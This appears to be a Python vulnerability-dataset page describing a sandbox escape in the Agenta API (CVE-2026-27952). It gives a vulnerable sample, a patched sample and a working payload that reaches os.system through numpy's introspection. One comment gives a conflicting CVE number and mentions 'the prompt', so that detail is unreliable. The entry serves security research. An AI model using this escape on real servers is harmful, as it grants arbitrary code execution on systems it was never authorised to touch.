VAITP Dataset

← Back to the dataset

CVE-2026-27952

Agenta sandbox escape via whitelisted numpy allows code execution.

  • CVSS 9.9
  • CWE-94
  • Design Defects
  • Remote

Agenta is an open-source LLMOps platform. In Agenta-API prior to version 0.48.1, a Python sandbox escape vulnerability existed in Agenta's custom code evaluator. Agenta used RestrictedPython as a sandboxing mechanism for user-supplied evaluator code, but incorrectly whitelisted the `numpy` package as safe within the sandbox. This allowed authenticated users to bypass the sandbox and achieve arbitrary code execution on the API server. The escape path was through `numpy.ma.core.inspect`, which exposes Python's introspection utilities — including `sys.modules` — thereby providing access to unfiltered system-level functionality like `os.system`. This vulnerability affects the Agenta self-hosted platform (API server), not the SDK when used as a standalone Python library. The custom code evaluator runs server-side within the API process. The issue is fixed in v0.48.1 by removing `numpy` from the sandbox allowlist. In later versions (v0.60+), the RestrictedPython sandbox was removed entirely and replaced with a different execution model.

CVSS base score
9.9
Published
2026-02-26
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Incorrect Check
Category
Design Defects
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Agenta-API
Fixed by upgrading
Yes

Solution

Upgrade Agenta-API to version 0.48.1 or later.

Vulnerable code sample

import RestrictedPython
from RestrictedPython.Guards import safe_builtins
import os
import sys
import numpy

# This represents the malicious evaluator code an authenticated user would submit
# to the Agenta API server before the patch.
# The code exploits the fact that 'numpy' is whitelisted in the sandbox.
# The escape path is: numpy.ma.core.inspect.sys.modules['os'].system()
malicious_payload = """
# Access the full, unrestricted 'os' module via the numpy escape path
unrestricted_os = numpy.ma.core.inspect.sys.modules['os']

# Execute an arbitrary command on the server to prove the escape
print("--- Attempting to escape the sandbox... ---")
unrestricted_os.system('echo "[SUCCESS] The sandbox has been escaped. Arbitrary code is now running on the server."')
print("--- Command executed. ---")
"""

def simulate_vulnerable_agenta_evaluator(user_code: str):
    """
    This function simulates the vulnerable Agenta custom code evaluator
    as it existed prior to version 0.48.1. It uses RestrictedPython
    but incorrectly whitelists the 'numpy' library.
    """
    # In a real Agenta server, 'os' and 'sys' would already be in memory.
    # This ensures they are loaded for the demonstration.
    _ = os.getpid()
    
    # Set up the globals for the sandboxed environment.
    # THE VULNERABILITY: 'numpy' is incorrectly included as a safe global,
    # giving the sandboxed code access to it.
    sandbox_globals = {
        '__builtins__': safe_builtins,
        'numpy': numpy,
    }

    try:
        # Compile the user-submitted code in restricted mode.
        byte_code = RestrictedPython.compile_restricted(
            user_code,
            filename='<user_evaluator_code>',
            mode='exec'
        )
        
        # Execute the code within the misconfigured sandbox.
        exec(byte_code, sandbox_globals, {})

    except Exception as e:
        print(f"An error occurred during sandboxed execution: {e}")


# Run the simulation to demonstrate the vulnerability.
if __name__ == "__main__":
    print("Simulating the vulnerable Agenta environment (pre-0.48.1).")
    simulate_vulnerable_agenta_evaluator(malicious_payload)

Patched code sample

# This code demonstrates the fix for the sandbox escape vulnerability
# in Agenta-API (CVE-2024-27952, referenced as CVE-2026-27952 in the prompt).
# The fix consists of removing 'numpy' from the list of modules
# allowed within the RestrictedPython sandbox.

from RestrictedPython import compile_restricted
from RestrictedPython.Guards import safe_builtins

def create_guarded_import(allowed_modules):
    """
    Factory function to create a guarded import that only allows modules
    from a specific allowlist.
    """
    def _guarded_import(name, globals=None, locals=None, fromlist=(), level=0):
        # The core of the security check: is the module in the allowlist?
        if name in allowed_modules:
            return __import__(name, globals, locals, fromlist, level)
        # If not allowed, block the import.
        raise ImportError(f"Importing module '{name}' is not allowed in the sandbox.")
    return _guarded_import

# In Agenta-API v0.48.1, the fix was to remove 'numpy' from this list.
# This list represents the state of the configuration AFTER the fix.
FIXED_ALLOWED_MODULES = [
    'math',
    'random',
    'datetime',
    'json',
    're',
    # In the vulnerable version (<0.48.1), 'numpy' was present in this list.
]

# Set up the safe global environment for the restricted code execution.
# We inject our custom, hardened import function.
safe_globals = safe_builtins.copy()
safe_globals['__import__'] = create_guarded_import(FIXED_ALLOWED_MODULES)

# This is the malicious code that would have been used to exploit the vulnerability.
# It relies on importing 'numpy' to access 'inspect' and then 'os.system'.
exploit_payload = """
# This payload will fail because the first line is blocked by the fixed import guard.
import numpy
os_module = numpy.ma.core.inspect.sys.modules['os']
os_module.system('echo "Code execution attempt!"')
"""

# Demonstrate that the fix is effective by attempting to run the exploit payload
# in the properly configured (fixed) sandbox.
try:
    print("Attempting to run exploit payload in the fixed sandbox environment...")
    # Compile the user-supplied code in a restricted mode.
    byte_code = compile_restricted(exploit_payload, filename='<string>', mode='exec')
    # Execute the compiled code. This is expected to fail.
    exec(byte_code, safe_globals, None)
except ImportError as e:
    print(f"\nSUCCESS: The sandbox prevented the exploit.")
    print(f"The attempt was blocked with the following error: {e}")
    print("This confirms the fix is effective, as the restricted environment no longer allows 'numpy' to be imported.")
except Exception as e:
    print(f"\nFAILURE: An unexpected error occurred: {type(e).__name__}: {e}")

Payload

import numpy

numpy.ma.core.inspect.sys.modules['os'].system('touch /tmp/pwned')

Cite this entry

@misc{vaitp:cve202627952,
  title        = {{Agenta sandbox escape via whitelisted numpy allows code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-27952},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-27952/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::